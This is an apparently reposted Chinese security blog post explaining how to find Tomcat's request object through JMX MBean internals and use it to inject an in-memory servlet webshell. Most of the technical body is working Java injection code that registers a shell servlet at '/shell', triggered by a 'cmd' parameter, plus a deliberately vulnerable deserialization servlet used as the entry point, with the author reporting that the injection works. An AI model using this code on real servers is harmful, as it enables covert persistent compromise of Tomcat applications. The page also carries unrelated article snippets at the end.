<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從Tomcat源碼中尋找request路徑進行注入

    VSole2022-12-20 18:31:33

     前言 

    前面主要是通過尋找一個全局存儲的request / response來進行Tomcat中間下的回顯,但是在tomcat 7環境下并不能夠獲取到StandardContext對象,這里李三師傅在前文的基礎中發現了在AbstractProtocol$ConnectionHandler#register的調用中不僅像之前的思路一樣將獲取到的RequestInfo對象存放在了global屬性中。

    同樣通過調用Registry.getRegistry((Object)null, (Object)null).registerComponent方法將RequestInfo對象進行組件的注冊流程中。

     正文 

    獲取回顯

    緊跟上面,我們跟進這個registerComponent方法的調用。

    對于傳入的這個bean對象,首先通過他的類型獲取了一個ManagedBean對象,調用其createMBean方法創建了一個MBean對象,最后調用了registerMBean進行該MBean的注冊,跟進一下。

    調用了mbsInterceptor屬性的registerMBean方法進行注冊,這里的mbsInterceptor屬性即是DefaultMBeanServerInterceptor對象,跟進一下。

    在這個方法調用了該類的registerObject方法進行注冊。

    在這個方法中,調用了Introspector#makeDynamicMBean方法創建了一個動態的MBean,之后調用了registerDynamicMBean方法進行動態MBean的注冊。

    最后調用了registerWithRepository進行進一步的注冊。

    在這個方法中,調用了該類的repository屬性的addMBean方法進行MBean的添加。

    在這個方法的后面,首先會根據dom取出對應的信息,如果不存在,將會調用addNewDomMoi方法將這個Bean進行了添加。

    傳入了一個map對象,其中包含有我們的requstInfo的信息,我們之后通過idea的Evaluate來進行調試。

    這里的Catelina也就是和tomcat相關的組件信息,值得注意的是,如果使用springboot內置的tomcat啟動服務,這里不再是Catalina而應該是Tomcat這個key值。這里的value值就是我們在上面最后一步put進入的一個map對象。

    有很多,其中一個是包含有我們需要的request / response對象的,可以關注到下面這個key值。

    其中的name字段的格式就是protocol-nio-port,這里我的環境是tomcat 8, 如果是tomcat 7環境這里的nio應該為bio才對。在其value字段中的NamedObject對象中。

    能夠找到我們需要的RequestInfo對象。所以總結一下我們獲取request的流程大致為。

    首先是通過反射一步一個獲取到domainTb這個Map對象中key值為Catalina的value值。

    之后從我們前面得到的value對象中獲取到我們需要的RequestInfo類,進而獲取到Request / Response對象。

    構造回顯內存

    基于上面的思路,我們可以通過以下代碼獲取回顯,// 獲取JmxMBeanServer對象            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();            // 反射獲取JmxMBeanServer對象的mbsInterceptor屬性值,也即是DefaultMBeanServerInterceptor對象            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));            // 獲取DefaultMBeanServerInterceptor中的repository屬性            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));            // 反射獲取Repository對象的domainTb這個Map對象            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));            // 獲取該HashMap中有關于Catalina這個hashMap對象進而獲取到了GlobalRequestProcessor            // 使用Tomcat啟動服務            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");            // 使用Springboot啟動服務//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");            // 從獲取的NamedObject對象中反射獲取他的object屬性            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));            // object屬性是一個BaseModelMBean對象,反射獲取他的resource屬性值            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));            // resource屬性是一個RequestGroupInfo對象,反射獲取他的processors屬性值            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));            // 遍歷前面得到的ArrayList列表,獲取想要的請求            for (Object processor : processors) {                // 強轉為RequestInfo類型                RequestInfo requestInfo = (RequestInfo) processor;                // 反射獲取對應的req屬性                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
    

    (向右滑動、查看更多)

    在獲取了request對象之后,我們理應篩選一下本次請求的Request是哪一個進而保證能夠執行后續操作,完整代碼為:

    try {            // 獲取JmxMBeanServer對象            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();            // 反射獲取JmxMBeanServer對象的mbsInterceptor屬性值,也即是DefaultMBeanServerInterceptor對象            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));            // 獲取DefaultMBeanServerInterceptor中的repository屬性            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));            // 反射獲取Repository對象的domainTb這個Map對象            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));            // 獲取該HashMap中有關于Catalina這個hashMap對象進而獲取到了GlobalRequestProcessor            // 使用Tomcat啟動服務            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");            // 使用Springboot啟動服務//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");            // 從獲取的NamedObject對象中反射獲取他的object屬性            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));            // object屬性是一個BaseModelMBean對象,反射獲取他的resource屬性值            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));            // resource屬性是一個RequestGroupInfo對象,反射獲取他的processors屬性值            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));            // 遍歷前面得到的ArrayList列表,獲取想要的請求            for (Object processor : processors) {                // 強轉為RequestInfo類型                RequestInfo requestInfo = (RequestInfo) processor;                // 反射獲取對應的req屬性                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));                // 篩選請求                if (req.getParameters().getParameter("cmd") != null) {                    // 將req對象轉為org.apache.catalina.connector.Request對象進行內存馬的注入                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);                    // 獲取對應的ServletContext上下文環境                    ServletContext servletContext = request.getServletContext();                    // 注入Servlet內存馬的步驟                    String name = "RoboTerh";                    if (servletContext.getServletRegistration(name) == null) {                        StandardContext o = null;
                            // 從 request 的 ServletContext 對象中循環判斷獲取 Tomcat StandardContext 對象                        while (o == null) {                            Field f = servletContext.getClass().getDeclaredField("context");                            f.setAccessible(true);                            Object obj = f.get(servletContext);
                                if (obj instanceof ServletContext) {                                servletContext = (ServletContext) obj;                            } else if (obj instanceof StandardContext) {                                o = (StandardContext) obj;                            }                        }
                            //自定義servlet                        Servlet servlet = new TomcatMemshell3();
                            //用Wrapper封裝servlet                        Wrapper newWrapper = o.createWrapper();                        newWrapper.setName(name);                        newWrapper.setLoadOnStartup(1);                        newWrapper.setServlet(servlet);
                            //向children中添加Wrapper                        o.addChild(newWrapper);                        //添加servlet的映射                        o.addServletMappingDecoded("/shell", name);                    }                }            }        } catch (Exception e) {            e.printStackTrace();        }
    (向右滑動、查看更多)
    

    測試

    因為之前的spring-boot 2.5.0內置的tomcat版本是9.x,不能夠通過該種方式進行內存馬的注入。

    所以我這里環境就選用Tomcat 8的容器進行搭建,其中的存在反序列化漏洞的Servlet為。

    package com.roboterh.web;
    import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.ObjectInputStream;
    @WebServlet("/unser")public class ServletTest extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        this.doPost(req, resp);    }
        @Override    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        try {            java.io.InputStream inputStream = req.getInputStream();            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);            objectInputStream.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }}
    
    

    (向右滑動、查看更多)

    啟動服務之后發送序列化數據,驗證是否成功注入。


    能夠成功進行注入操作。


     Ref 


    https://xz.aliyun.com/t/7535

    源碼object
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    調用了mbsInterceptor屬性的registerMBean方法進行注冊,這里的mbsInterceptor屬性即是DefaultMBeanServerInterceptor對象,跟進一下。最后調用了registerWithRepository進行進一步的注冊。在這個方法中,調用了該類的repository屬性的addMBean方法進行MBean的添加。
    前言Mybatis的專題文章寫到這里已經是第四篇了,前三篇講了Mybatis的基本使用,相信只要認真看了的朋友,在實際開發中正常使用應該不是問題。
    請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。然后再去做針對性的免殺和繞過測試,盡可能避免出現查殺和攔截提示,動靜大、易被發現
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    本文將解析angr模擬執行部分的源碼,來幫助大家了解angr模擬執行的基本原理。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    Builtin實現了V8中大量的核心功能,可見它的重要性。
    1 摘要上一篇文章中,Builtin作為先導知識,我們做了宏觀概括和介紹。Builtin是編譯好的內置代碼塊,存儲在snapshot_blob.bin文件中,V8啟動時以反序列化方式加載,運行時可以直接調用。
    crawlergo是一個使用chrome headless模式進行URL收集的瀏覽器爬蟲。它對整個網頁的關鍵位置與DOM渲染階段進行HOOK,自動進行表單填充并提交,配合智能的JS事件觸發,盡可能的收集網站暴露出的入口。內置URL去重模塊,過濾掉了大量偽靜態URL,對于大型網站仍保持較快的解析與抓取速度,最后得到高質量的請求結果集合。調研1.
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类